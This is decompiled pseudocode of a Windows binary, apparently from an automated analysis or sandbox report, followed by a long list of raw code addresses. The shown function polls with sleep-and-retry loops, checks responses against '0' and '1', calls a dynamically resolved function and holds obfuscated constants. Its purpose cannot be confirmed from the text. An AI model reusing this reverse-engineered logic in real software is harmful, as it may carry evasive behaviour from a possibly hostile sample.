                                                          												E00402440(_t1414,  &_v1212);
                                                          												E00402440(_t1414,  &_v1236);
                                                          												E00402440(_t1414,  &_v1260);
                                                          												E00402440(_t1414,  &_v1284);
                                                          												E00402440(_t1414,  &_v1140);
                                                          												_v32 = 0x10;
                                                          												E00402440(_t1414,  &_v1164);
                                                          												_t1820 = 0;
                                                          												__eflags = 0;
                                                          												_t1813 = 0xc8;
                                                          												while(1) {
                                                          													_t1820 =  &(1[_t1820]);
                                                          													_t974 = E00402400( &_v116);
                                                          													_t1492 =  &_v772;
                                                          													_t975 = E00402300(_t1414,  &_v772, _t1813, _t974); // executed
                                                          													__eflags = _t975;
                                                          													if(_t975 == 0) {
                                                          														goto L356;
                                                          													}
                                                          													E00402510( &_v68, E00402370( &_v772));
                                                          													_t1692 = "0";
                                                          													_t984 = E00402800( &_v68, "0");
                                                          													__eflags = _t984;
                                                          													if(_t984 == 0) {
                                                          														_t1692 = "1";
                                                          														_t1037 = E00402800( &_v68, "1");
                                                          														__eflags = _t1037;
                                                          														if(_t1037 == 0) {
                                                          															_t1492 =  &_v68;
                                                          															E00402440(_t1414,  &_v68);
                                                          															goto L356;
                                                          														}
                                                          													}
                                                          													E00402440(_t1414,  &_v68);
                                                          													E0040BB70( &_v92);
                                                          													_t1871 = _t1870 - 0x10;
                                                          													_v32 = 0x11;
                                                          													E00401960( &_v1100, "0"); // executed
                                                          													_v32 = 0x12;
                                                          													while(1) {
                                                          														_t990 = E00402510( &_v1140, E0040B8C0(E004093D0(_t1414, _t1692, _t1813, _t1820)));
                                                          														_t1692 = 0x450e54;
                                                          														_v32 = 0x15;
                                                          														_t991 = E0040C930( &_v1164, 0x450e54, _t990);
                                                          														_t1871 = _t1871 + 4;
                                                          														_v32 = 0x16;
                                                          														_t993 = E00402300(_t1414,  &_v1100, _t1813, E00402400(_t991)); // executed
                                                          														_t1820 = _t993;
                                                          														E00402440(_t1414,  &_v1164);
                                                          														_v32 = 0x12;
                                                          														E00402440(_t1414,  &_v1140);
                                                          														__eflags = _t993;
                                                          														if(_t993 == 0) {
                                                          															goto L363;
                                                          														}
                                                          														E00402410( &_v92, E00402370( &_v1100));
                                                          														_t998 = E004023F0( &_v92);
                                                          														__eflags = _t998 - 0xa;
                                                          														if(_t998 <= 0xa) {
                                                          															goto L363;
                                                          														}
                                                          														__eflags = _t998 - 0x64;
                                                          														if(_t998 >= 0x64) {
                                                          															goto L363;
                                                          														}
                                                          														_t1872 = _t1871 - 0x10;
                                                          														_t1821 = 0;
                                                          														__eflags = 0;
                                                          														E00401960( &_v444, "1"); // executed
                                                          														_v32 = 0x17;
                                                          														do {
                                                          															_v1116 = _t1821 + 1;
                                                          															_t1002 = E00402510( &_v1140, E0040B7A0(E00409460(_t1692, _t1813, _t1821 + 1)));
                                                          															_t1692 = 0x450e54;
                                                          															_v32 = 0x1a;
                                                          															_t1003 = E0040C930( &_v1164, 0x450e54, _t1002);
                                                          															_t1872 = _t1872 + 4;
                                                          															_v32 = 0x1b;
                                                          															_t1005 = E00402300(_t1414,  &_v444, _t1813, E00402400(_t1003)); // executed
                                                          															E00402440(_t1414,  &_v1164);
                                                          															_v32 = 0x17;
                                                          															E00402440(_t1414,  &_v1140);
                                                          															__eflags = _t1005;
                                                          															if(_t1005 == 0) {
                                                          																goto L368;
                                                          															} else {
                                                          																_t1414 = E00402380( &_v444);
                                                          																__eflags = _t1414 - 0x16;
                                                          																if(__eflags <= 0) {
                                                          																	goto L368;
                                                          																} else {
                                                          																	_push( ~(0 | __eflags > 0x00000000) |  &(1[_t1414]));
                                                          																	_t1021 = E004162EE();
                                                          																	_t824 =  &(1[_t1414]); // 0x1
                                                          																	_t1813 = _t1021;
                                                          																	_t1022 = E00402340( &_v444, _t1021, _t824);
                                                          																	_push( ~(0 | __eflags > 0x00000000) | _t1414 * 0x00000002); // executed
                                                          																	_t1025 = E004162EE(); // executed
                                                          																	_t1878 = _t1872 + 4 - 0x14;
                                                          																	_v1104 = _t1025;
                                                          																	E0040BB90(_t1414, _t1878, _t1414 * 2 >> 0x20, _t1021,  &_v92);
                                                          																	_push( &_v1104);
                                                          																	_t1029 = E00403770(_t1414, _t1021, _t1022, _t1813); // executed
                                                          																	_t1692 = _t1029;
                                                          																	_t1030 = E00402B60(_v1104, _t1029, __eflags,  &_v1112,  &_v1112); // executed
                                                          																	_t1872 = _t1878 + 0x24;
                                                          																	_v1108 = _t1030;
                                                          																	__eflags = _v1112;
                                                          																	if(_v1112 != 0) {
                                                          																		_t1813 = Sleep;
                                                          																		_t1821 = 0;
                                                          																		_v1104 = 0;
                                                          																		_t1414 = 0;
                                                          																		__eflags = 0;
                                                          																		do {
                                                          																			_t1535 = _v1108(E00402400(0x450e6c), E00402400(0x450df4));
                                                          																			_t1872 = _t1872 + 8;
                                                          																			_t1034 = _v1104;
                                                          																			_t1692 = 1;
                                                          																			__eflags = _t1034;
                                                          																			if(_t1034 != 0) {
                                                          																				__eflags = _t1535;
                                                          																				_t1414 =  ==  ? 1 : _t1414 & 0x000000ff;
                                                          																			}
                                                          																			__eflags = _t1821 - 0xa;
                                                          																			if(_t1821 >= 0xa) {
                                                          																				__eflags = _t1535 - 1;
                                                          																				_t1414 =  !=  ? _t1692 : _t1414 & 0x000000ff;
                                                          																			}
                                                          																			__eflags = _t1821 - 0xf;
                                                          																			if(_t1821 < 0xf) {
                                                          																				__eflags = _t1821 - 5;
                                                          																				if(_t1821 < 5) {
                                                          																					goto L381;
                                                          																				} else {
                                                          																					goto L379;
                                                          																				}
                                                          																			} else {
                                                          																				__eflags = _t1535 - 1;
                                                          																				if(_t1535 == 1) {
                                                          																					_t1414 = _t1535;
                                                          																				}
                                                          																				L379:
                                                          																				__eflags = _t1034;
                                                          																				if(_t1034 != 0) {
                                                          																					goto L381;
                                                          																				} else {
                                                          																					__eflags = _t1535 - 0xfffffffe;
                                                          																					if(__eflags == 0) {
                                                          																						Sleep(0x7d0); // executed
                                                          																					} else {
                                                          																						goto L381;
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																			goto L384;
                                                          																			L381:
                                                          																			__eflags = _t1535 - 1;
                                                          																			_t1036 =  ==  ? _t1692 : _t1034 & 0x000000ff;
                                                          																			_t1821 = _t1821 + 1;
                                                          																			_v1104 =  ==  ? _t1692 : _t1034 & 0x000000ff;
                                                          																			Sleep(0x7d0); // executed
                                                          																			__eflags = _t1414;
                                                          																		} while (__eflags == 0);
                                                          																	} else {
                                                          																		goto L368;
                                                          																	}
                                                          																}
                                                          															}
                                                          															L384:
                                                          															E004054C0(_t1414, __eflags); // executed
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															_push(_t1832);
                                                          															_t1833 = _t1872;
                                                          															_t1009 =  *0x43d054; // 0x6e36c9b5
                                                          															_v1892 = _t1009 ^ _t1833;
                                                          															_v1908 = 0x5a405b41;
                                                          															_v1904 = 0x5e465e00;
                                                          															_v1900 = 0x4c5b5d11;
                                                          															_t1517 =  *( *[fs:0x2c]);
                                                          															_t1012 =  *0x450f38; // 0x80000017
                                                          															_v1896 = 0x2e13;
                                                          															__eflags = _t1012 -  *((intOrPtr*)(_t1517 + 4));
                                                          															if(_t1012 >  *((intOrPtr*)(_t1517 + 4))) {
                                                          																E0040EF48(_t1012, 0x450f38);
                                                          																__eflags =  *0x450f38 - 0xffffffff;
                                                          																if(__eflags == 0) {
                                                          																	asm("movaps xmm0, [0x439d70]");
                                                          																	asm("movups [0x450db0], xmm0");
                                                          																	 *0x450dc8 = _v44;
                                                          																	asm("movq xmm0, [ebp-0x14]");
                                                          																	asm("movq [0x450dc0], xmm0");
                                                          																	 *0x450dcc = _v40;
                                                          																	E0040F25B(_t1517, __eflags, 0x42d490);
                                                          																	E0040EEFE(0x450f38);
                                                          																}
                                                          															}
                                                          															__eflags = _v36 ^ _t1833;
                                                          															return E0040EBBF(0x450db0, _t1414, _v36 ^ _t1833, _t1692, _t1813, _t1821);
                                                          															goto L389;
                                                          															L368:
                                                          															_t1821 = _v1116;
                                                          															__eflags = _t1821 - 0xa;
                                                          														} while (__eflags < 0);
                                                          														goto L384;
                                                          														L363:
                                                          														Sleep(0xbb8);
                                                          													}
                                                          													L356:
                                                          													__eflags = _t1820 - 0x12c;
                                                          													if(__eflags <= 0) {
                                                          														_t793 = _t1820 + 3; // 0x4
                                                          														Sleep(_t793 * 0x3e8);
                                                          													} else {
                                                          														_t978 = E00417DF6(_t1492, __eflags);
                                                          														asm("cdq");
                                                          														Sleep((_t978 % _t1813 + 0x67) * 0x3e8);
                                                          													}
                                                          												}
                                                          											} else {
                                                          												goto L44;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								goto L25;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L389:
                                                          			}































































































































































































































































































































































































































































































                                                          0x00406800
                                                          0x00406800
                                                          0x00406800
                                                          0x00406800
                                                          0x00406801
                                                          0x00406809
                                                          0x00406810
                                                          0x00406814
                                                          0x00406816
                                                          0x00406818
                                                          0x00406823
                                                          0x00406824
                                                          0x00406825
                                                          0x00406828
                                                          0x00406829
                                                          0x00406830
                                                          0x00406834
                                                          0x0040683a
                                                          0x0040684a
                                                          0x0040684f
                                                          0x00406857
                                                          0x0040686a
                                                          0x00406871
                                                          0x00406879
                                                          0x00406883
                                                          0x00406888
                                                          0x0040688b
                                                          0x0040688d
                                                          0x00406891
                                                          0x00406896
                                                          0x0040689e
                                                          0x004068c4
                                                          0x004068d2
                                                          0x004068a0
                                                          0x004068a3
                                                          0x004068a6
                                                          0x004068ab
                                                          0x004068ad
                                                          0x004068ad
                                                          0x004068af
                                                          0x004068b6
                                                          0x004068b6
                                                          0x004068d4
                                                          0x004068df
                                                          0x004068e3
                                                          0x004068e8
                                                          0x004068ed
                                                          0x004068f4
                                                          0x004068fb
                                                          0x00406902
                                                          0x00406907
                                                          0x0040690c
                                                          0x0040690f
                                                          0x00406912
                                                          0x00406917
                                                          0x00406945
                                                          0x00406945
                                                          0x00406948
                                                          0x0040694f
                                                          0x00406956
                                                          0x0040695d
                                                          0x0040698b
                                                          0x0040698b
                                                          0x0040698e
                                                          0x00406995
                                                          0x0040699c
                                                          0x004069a3
                                                          0x004069d1
                                                          0x004069d1
                                                          0x004069d8
                                                          0x004069df
                                                          0x004069e3
                                                          0x004069e5
                                                          0x00000000
                                                          0x004069e7
                                                          0x004069f4
                                                          0x004069f9
                                                          0x004069fa
                                                          0x004069ff
                                                          0x00406a02
                                                          0x00406a02
                                                          0x00000000
                                                          0x004069a5
                                                          0x004069a5
                                                          0x004069a8
                                                          0x004069a9
                                                          0x004069b1
                                                          0x004069c7
                                                          0x004069c7
                                                          0x004069c9
                                                          0x004069ce
                                                          0x00000000
                                                          0x004069b3
                                                          0x004069b3
                                                          0x004069b6
                                                          0x004069c1
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004069c1
                                                          0x004069b1
                                                          0x0040695f
                                                          0x0040695f
                                                          0x00406962
                                                          0x00406963
                                                          0x0040696b
                                                          0x00406981
                                                          0x00406981
                                                          0x00406983
                                                          0x00406988
                                                          0x00000000
                                                          0x0040696d
                                                          0x0040696d
                                                          0x00406970
                                                          0x0040697b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040697b
                                                          0x0040696b
                                                          0x00406919
                                                          0x00406919
                                                          0x0040691c
                                                          0x0040691d
                                                          0x00406925
                                                          0x0040693b
                                                          0x0040693b
                                                          0x0040693d
                                                          0x00406942
                                                          0x00000000
                                                          0x00406927
                                                          0x00406927
                                                          0x0040692a
                                                          0x00406935
                                                          0x00406a94
                                                          0x00406a94
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406935
                                                          0x00406925
                                                          0x00406a08
                                                          0x00406a08
                                                          0x00406a08
                                                          0x00406a0c
                                                          0x00406a0c
                                                          0x00406a12
                                                          0x00406a3c
                                                          0x00406a3c
                                                          0x00406a3f
                                                          0x00406a46
                                                          0x00406a4d
                                                          0x00406a54
                                                          0x00406a7e
                                                          0x00406a84
                                                          0x00406a93
                                                          0x00406a56
                                                          0x00406a56
                                                          0x00406a59
                                                          0x00406a5a
                                                          0x00406a62
                                                          0x00406a74
                                                          0x00406a74
                                                          0x00406a76
                                                          0x00000000
                                                          0x00406a64
                                                          0x00406a64
                                                          0x00406a67
                                                          0x00406a72
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406a72
                                                          0x00406a62
                                                          0x00406a14
                                                          0x00406a14
                                                          0x00406a17
                                                          0x00406a18
                                                          0x00406a20
                                                          0x00406a32
                                                          0x00406a32
                                                          0x00406a34
                                                          0x00406a39
                                                          0x00000000
                                                          0x00406a22
                                                          0x00406a22
                                                          0x00406a22
                                                          0x00406a25
                                                          0x00406a30
                                                          0x00406a99
                                                          0x00406a99
                                                          0x00406a9e
                                                          0x00406a9f
                                                          0x00406aa0
                                                          0x00406aa1
                                                          0x00406aa9
                                                          0x00406aac
                                                          0x00406ab0
                                                          0x00406ab4
                                                          0x00406ab6
                                                          0x00406ab8
                                                          0x00406ac3
                                                          0x00406ac4
                                                          0x00406ac5
                                                          0x00406acb
                                                          0x00406ad0
                                                          0x00406ad2
                                                          0x00406ad5
                                                          0x00406ad6
                                                          0x00406ad7
                                                          0x00406adb
                                                          0x00406ae1
                                                          0x00406ae3
                                                          0x00406ae9
                                                          0x00406aef
                                                          0x00406af9
                                                          0x00406b03
                                                          0x00406b0d
                                                          0x00406b14
                                                          0x00406b1b
                                                          0x00406b20
                                                          0x00406b22
                                                          0x00407e4e
                                                          0x00407e53
                                                          0x00407e57
                                                          0x00407e5c
                                                          0x00407e6d
                                                          0x00407e72
                                                          0x00407e7c
                                                          0x00407e83
                                                          0x00407e85
                                                          0x00407e8a
                                                          0x00407e90
                                                          0x00407e97
                                                          0x00407e9c
                                                          0x00407e9f
                                                          0x00407ea6
                                                          0x00407ea8
                                                          0x00407eba
                                                          0x00407ec1
                                                          0x00407ec6
                                                          0x00407ed3
                                                          0x00407ed8
                                                          0x00407ed8
                                                          0x00407ea6
                                                          0x00407edb
                                                          0x00407ee0
                                                          0x00407ee2
                                                          0x00407ee4
                                                          0x00407eed
                                                          0x00407ef4
                                                          0x00407ef8
                                                          0x00407efd
                                                          0x00407efd
                                                          0x00407f04
                                                          0x00407f09
                                                          0x00407f13
                                                          0x00407f1d
                                                          0x00407f27
                                                          0x00407f2e
                                                          0x00407f2e
                                                          0x00407f31
                                                          0x00407f31
                                                          0x00407f33
                                                          0x00407f34
                                                          0x00407f34
                                                          0x00407f46
                                                          0x00407f4b
                                                          0x00407f4f
                                                          0x00407f57
                                                          0x00407f5f
                                                          0x00407f62
                                                          0x00407f92
                                                          0x00407fa7
                                                          0x00407f64
                                                          0x00407f64
                                                          0x00407f67
                                                          0x00407f6a
                                                          0x00407f76
                                                          0x00407f7d
                                                          0x00407f83
                                                          0x00407f83
                                                          0x00407fac
                                                          0x00407fb6
                                                          0x00407fc0
                                                          0x00407fca
                                                          0x00407fcd
                                                          0x00407fd4
                                                          0x00407fd9
                                                          0x00407fe1
                                                          0x00407fe8
                                                          0x00407fef
                                                          0x00407ff8
                                                          0x00408009
                                                          0x0040800e
                                                          0x00408018
                                                          0x0040801d
                                                          0x00408023
                                                          0x00408026
                                                          0x00408057
                                                          0x00408057
                                                          0x0040805b
                                                          0x00408061
                                                          0x0040806b
                                                          0x00408075
                                                          0x0040807c
                                                          0x0040807f
                                                          0x004080b0
                                                          0x004080b0
                                                          0x004080b4
                                                          0x004080ba
                                                          0x004080c4
                                                          0x004080ce
                                                          0x004080d5
                                                          0x004080d8
                                                          0x00408109
                                                          0x00408109
                                                          0x00408114
                                                          0x0040811b
                                                          0x00408120
                                                          0x00408123
                                                          0x0040812d
                                                          0x00408130
                                                          0x00408135
                                                          0x00408139
                                                          0x0040813e
                                                          0x00408141
                                                          0x00408143
                                                          0x00408356
                                                          0x0040835b
                                                          0x00408365
                                                          0x0040836f
                                                          0x00408379
                                                          0x00408382
                                                          0x00408389
                                                          0x0040838f
                                                          0x00408396
                                                          0x0040839b
                                                          0x0040839e
                                                          0x004083a5
                                                          0x004083ad
                                                          0x004083b5
                                                          0x004083c1
                                                          0x004083d2
                                                          0x004083da
                                                          0x004083df
                                                          0x004083ec
                                                          0x004083f1
                                                          0x004083f1
                                                          0x004083a5
                                                          0x004083f4
                                                          0x004083fb
                                                          0x004083fd
                                                          0x004083fd
                                                          0x00408400
                                                          0x00408400
                                                          0x00408407
                                                          0x00408408
                                                          0x00408408
                                                          0x00408400
                                                          0x0040840d
                                                          0x00408412
                                                          0x0040841c
                                                          0x00408426
                                                          0x00408430
                                                          0x00408437
                                                          0x00408437
                                                          0x0040843a
                                                          0x00408440
                                                          0x00408440
                                                          0x00408442
                                                          0x00408443
                                                          0x00408443
                                                          0x00408455
                                                          0x0040845a
                                                          0x0040845e
                                                          0x00408466
                                                          0x0040846e
                                                          0x00408471
                                                          0x004084a1
                                                          0x004084b6
                                                          0x00408473
                                                          0x00408473
                                                          0x00408476
                                                          0x00408479
                                                          0x00408485
                                                          0x0040848c
                                                          0x00408492
                                                          0x00408492
                                                          0x004084bb
                                                          0x004084c5
                                                          0x004084cf
                                                          0x004084d9
                                                          0x004084dc
                                                          0x004084e3
                                                          0x004084e8
                                                          0x004084f0
                                                          0x004084f7
                                                          0x004084fe
                                                          0x00408507
                                                          0x00408518
                                                          0x0040851d
                                                          0x00408527
                                                          0x0040852c
                                                          0x00408532
                                                          0x00408535
                                                          0x00408566
                                                          0x00408566
                                                          0x0040856a
                                                          0x00408570
                                                          0x0040857a
                                                          0x00408584
                                                          0x0040858b
                                                          0x0040858e
                                                          0x004085bf
                                                          0x004085bf
                                                          0x004085c3
                                                          0x004085c9
                                                          0x004085d3
                                                          0x004085dd
                                                          0x004085e4
                                                          0x004085e7
                                                          0x00408618
                                                          0x00408618
                                                          0x00408623
                                                          0x0040862a
                                                          0x0040862f
                                                          0x00408632
                                                          0x0040863c
                                                          0x0040863f
                                                          0x00408644
                                                          0x00408648
                                                          0x0040864d
                                                          0x00408650
                                                          0x00408652
                                                          0x00408878
                                                          0x0040887d
                                                          0x00408887
                                                          0x00408891
                                                          0x00408897
                                                          0x0040889e
                                                          0x004088a3
                                                          0x004088a6
                                                          0x004088ad
                                                          0x004088c0
                                                          0x004088c5
                                                          0x004088cb
                                                          0x004088d8
                                                          0x004088dd
                                                          0x004088dd
                                                          0x004088ad
                                                          0x004088e0
                                                          0x004088e5
                                                          0x004088e7
                                                          0x004088e9
                                                          0x004088f0
                                                          0x004088f7
                                                          0x004088fe
                                                          0x00408905
                                                          0x0040890c
                                                          0x00408913
                                                          0x0040891a
                                                          0x0040891a
                                                          0x0040891c
                                                          0x0040891c
                                                          0x00408921
                                                          0x00408926
                                                          0x00408930
                                                          0x0040893a
                                                          0x00408944
                                                          0x0040894b
                                                          0x0040894b
                                                          0x00408950
                                                          0x00408950
                                                          0x00408952
                                                          0x00408953
                                                          0x00408953
                                                          0x00408965
                                                          0x0040896a
                                                          0x0040896e
                                                          0x00408976
                                                          0x0040897e
                                                          0x00408981
                                                          0x004089b1
                                                          0x004089c6
                                                          0x00408983
                                                          0x00408983
                                                          0x00408986
                                                          0x00408989
                                                          0x00408995
                                                          0x0040899c
                                                          0x004089a2
                                                          0x004089a2
                                                          0x004089cb
                                                          0x004089d5
                                                          0x004089df
                                                          0x004089e9
                                                          0x004089ec
                                                          0x004089f3
                                                          0x004089f8
                                                          0x00408a00
                                                          0x00408a07
                                                          0x00408a0e
                                                          0x00408a17
                                                          0x00408a28
                                                          0x00408a2d
                                                          0x00408a37
                                                          0x00408a3c
                                                          0x00408a42
                                                          0x00408a45
                                                          0x00408a76
                                                          0x00408a76
                                                          0x00408a7a
                                                          0x00408a80
                                                          0x00408a8a
                                                          0x00408a94
                                                          0x00408a9b
                                                          0x00408a9e
                                                          0x00408acf
                                                          0x00408acf
                                                          0x00408ad3
                                                          0x00408ad9
                                                          0x00408ae3
                                                          0x00408aed
                                                          0x00408af4
                                                          0x00408af7
                                                          0x00408b28
                                                          0x00408b28
                                                          0x00408b33
                                                          0x00408b3a
                                                          0x00408b3f
                                                          0x00408b42
                                                          0x00408b4c
                                                          0x00408b4f
                                                          0x00408b54
                                                          0x00408b58
                                                          0x00408b5d
                                                          0x00408b60
                                                          0x00408b62
                                                          0x00408c9a
                                                          0x00408ca5
                                                          0x00408ca9
                                                          0x00000000
                                                          0x00408b68
                                                          0x00408b68
                                                          0x00408b75
                                                          0x00408b83
                                                          0x00408b90
                                                          0x00408b95
                                                          0x00408b98
                                                          0x00408b9a
                                                          0x00408b9e
                                                          0x00408ba3
                                                          0x00408ba8
                                                          0x00408bab
                                                          0x00408bd1
                                                          0x00408be5
                                                          0x00408bad
                                                          0x00408bb0
                                                          0x00408bb3
                                                          0x00408bb5
                                                          0x00408bb8
                                                          0x00408bba
                                                          0x00408bba
                                                          0x00408bbc
                                                          0x00408bc3
                                                          0x00408bc3
                                                          0x00408be7
                                                          0x00408bed
                                                          0x00408bf4
                                                          0x00408bfb
                                                          0x00408bfe
                                                          0x00408c01
                                                          0x00408c06
                                                          0x00408c0b
                                                          0x00408c12
                                                          0x00408c19
                                                          0x00408c1c
                                                          0x00408c22
                                                          0x00408c25
                                                          0x00408c56
                                                          0x00408c5c
                                                          0x00408c66
                                                          0x00408c70
                                                          0x00408c77
                                                          0x00408c82
                                                          0x00408c8d
                                                          0x00000000
                                                          0x00408c27
                                                          0x00408c27
                                                          0x00408c2d
                                                          0x00408c2e
                                                          0x00408c30
                                                          0x00408c36
                                                          0x00408c4c
                                                          0x00408c4c
                                                          0x00408c4e
                                                          0x00000000
                                                          0x00408c38
                                                          0x00408c38
                                                          0x00408c3b
                                                          0x00408c43
                                                          0x00408c46
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408c46
                                                          0x00408c36
                                                          0x00408c25
                                                          0x00408af9
                                                          0x00408af9
                                                          0x00408aff
                                                          0x00408b00
                                                          0x00408b02
                                                          0x00408b08
                                                          0x00408b1e
                                                          0x00408b1e
                                                          0x00408b20
                                                          0x00408b25
                                                          0x00000000
                                                          0x00408b0a
                                                          0x00408b0a
                                                          0x00408b0d
                                                          0x00408b15
                                                          0x00408b18
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408b18
                                                          0x00408b08
                                                          0x00408aa0
                                                          0x00408aa0
                                                          0x00408aa6
                                                          0x00408aa7
                                                          0x00408aa9
                                                          0x00408aaf
                                                          0x00408ac5
                                                          0x00408ac5
                                                          0x00408ac7
                                                          0x00408acc
                                                          0x00000000
                                                          0x00408ab1
                                                          0x00408ab1
                                                          0x00408ab4
                                                          0x00408abc
                                                          0x00408abf
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408abf
                                                          0x00408aaf
                                                          0x00408a47
                                                          0x00408a47
                                                          0x00408a4d
                                                          0x00408a4e
                                                          0x00408a50
                                                          0x00408a56
                                                          0x00408a6c
                                                          0x00408a6c
                                                          0x00408a6e
                                                          0x00408a73
                                                          0x00000000
                                                          0x00408a58
                                                          0x00408a58
                                                          0x00408a5b
                                                          0x00408a63
                                                          0x00408a66
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408a66
                                                          0x00408a56
                                                          0x00408658
                                                          0x00408658
                                                          0x00408665
                                                          0x00408673
                                                          0x00408680
                                                          0x00408685
                                                          0x00408688
                                                          0x0040868a
                                                          0x0040868e
                                                          0x00408693
                                                          0x00408698
                                                          0x0040869b
                                                          0x004086c1
                                                          0x004086d5
                                                          0x0040869d
                                                          0x004086a0
                                                          0x004086a3
                                                          0x004086a5
                                                          0x004086a8
                                                          0x004086aa
                                                          0x004086aa
                                                          0x004086ac
                                                          0x004086b3
                                                          0x004086b3
                                                          0x004086d7
                                                          0x004086dd
                                                          0x004086e4
                                                          0x004086eb
                                                          0x004086ee
                                                          0x004086f1
                                                          0x004086f6
                                                          0x004086fb
                                                          0x00408702
                                                          0x00408709
                                                          0x0040870c
                                                          0x00408712
                                                          0x00408715
                                                          0x00408746
                                                          0x00408746
                                                          0x0040874c
                                                          0x00408756
                                                          0x00408760
                                                          0x00408767
                                                          0x0040876a
                                                          0x0040879b
                                                          0x0040879b
                                                          0x004087a1
                                                          0x004087ab
                                                          0x004087b5
                                                          0x004087bc
                                                          0x004087bf
                                                          0x004087f0
                                                          0x004087f0
                                                          0x004087f6
                                                          0x00408800
                                                          0x0040880a
                                                          0x00408811
                                                          0x00408814
                                                          0x00000000
                                                          0x0040881a
                                                          0x0040881a
                                                          0x00408820
                                                          0x00408821
                                                          0x00408823
                                                          0x00408829
                                                          0x0040883f
                                                          0x0040883f
                                                          0x00408841
                                                          0x00408846
                                                          0x00408849
                                                          0x00408853
                                                          0x0040885d
                                                          0x00000000
                                                          0x0040882b
                                                          0x0040882b
                                                          0x0040882e
                                                          0x00408836
                                                          0x00408839
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408839
                                                          0x00408829
                                                          0x004087c1
                                                          0x004087c1
                                                          0x004087c7
                                                          0x004087c8
                                                          0x004087ca
                                                          0x004087d0
                                                          0x004087e6
                                                          0x004087e6
                                                          0x004087e8
                                                          0x004087ed
                                                          0x00000000
                                                          0x004087d2
                                                          0x004087d2
                                                          0x004087d5
                                                          0x004087dd
                                                          0x004087e0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004087e0
                                                          0x004087d0
                                                          0x0040876c
                                                          0x0040876c
                                                          0x00408772
                                                          0x00408773
                                                          0x00408775
                                                          0x0040877b
                                                          0x00408791
                                                          0x00408791
                                                          0x00408793
                                                          0x00408798
                                                          0x00000000
                                                          0x0040877d
                                                          0x0040877d
                                                          0x00408780
                                                          0x00408788
                                                          0x0040878b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040878b
                                                          0x0040877b
                                                          0x00408717
                                                          0x00408717
                                                          0x0040871d
                                                          0x0040871e
                                                          0x00408720
                                                          0x00408726
                                                          0x0040873c
                                                          0x0040873c
                                                          0x0040873e
                                                          0x00408743
                                                          0x00000000
                                                          0x00408728
                                                          0x00408728
                                                          0x0040872b
                                                          0x00408733
                                                          0x00408736
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408736
                                                          0x00408726
                                                          0x00408715
                                                          0x004085e9
                                                          0x004085e9
                                                          0x004085ef
                                                          0x004085f0
                                                          0x004085f2
                                                          0x004085f8
                                                          0x0040860e
                                                          0x0040860e
                                                          0x00408610
                                                          0x00408615
                                                          0x00000000
                                                          0x004085fa
                                                          0x004085fa
                                                          0x004085fd
                                                          0x00408605
                                                          0x00408608
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408608
                                                          0x004085f8
                                                          0x00408590
                                                          0x00408590
                                                          0x00408596
                                                          0x00408597
                                                          0x00408599
                                                          0x0040859f
                                                          0x004085b5
                                                          0x004085b5
                                                          0x004085b7
                                                          0x004085bc
                                                          0x00000000
                                                          0x004085a1
                                                          0x004085a1
                                                          0x004085a4
                                                          0x004085ac
                                                          0x004085af
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004085af
                                                          0x0040859f
                                                          0x00408537
                                                          0x00408537
                                                          0x0040853d
                                                          0x0040853e
                                                          0x00408540
                                                          0x00408546
                                                          0x0040855c
                                                          0x0040855c
                                                          0x0040855e
                                                          0x00408563
                                                          0x00000000
                                                          0x00408548
                                                          0x00408548
                                                          0x0040854b
                                                          0x00408553
                                                          0x00408556
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408556
                                                          0x00408546
                                                          0x00408149
                                                          0x00408149
                                                          0x00408156
                                                          0x00408164
                                                          0x00408171
                                                          0x00408176
                                                          0x00408179
                                                          0x0040817b
                                                          0x0040817f
                                                          0x00408184
                                                          0x00408189
                                                          0x0040818c
                                                          0x004081b2
                                                          0x004081c6
                                                          0x0040818e
                                                          0x00408191
                                                          0x00408194
                                                          0x00408196
                                                          0x00408199
                                                          0x0040819b
                                                          0x0040819b
                                                          0x0040819d
                                                          0x004081a4
                                                          0x004081a4
                                                          0x004081c8
                                                          0x004081ce
                                                          0x004081d5
                                                          0x004081dc
                                                          0x004081df
                                                          0x004081e2
                                                          0x004081e7
                                                          0x004081ec
                                                          0x004081f3
                                                          0x004081fa
                                                          0x004081fd
                                                          0x00408203
                                                          0x00408206
                                                          0x00408237
                                                          0x00408237
                                                          0x0040823d
                                                          0x00408247
                                                          0x00408251
                                                          0x00408258
                                                          0x0040825b
                                                          0x0040828c
                                                          0x0040828c
                                                          0x00408292
                                                          0x0040829c
                                                          0x004082a6
                                                          0x004082ad
                                                          0x004082b0
                                                          0x004082e1
                                                          0x004082e1
                                                          0x004082e7
                                                          0x004082f1
                                                          0x004082fb
                                                          0x00408302
                                                          0x00408305
                                                          0x00408336
                                                          0x00408336
                                                          0x00408340
                                                          0x0040834a
                                                          0x00000000
                                                          0x00408307
                                                          0x00408307
                                                          0x0040830d
                                                          0x0040830e
                                                          0x00408310
                                                          0x00408316
                                                          0x0040832c
                                                          0x0040832c
                                                          0x0040832e
                                                          0x00408333
                                                          0x00000000
                                                          0x00408318
                                                          0x00408318
                                                          0x0040831b
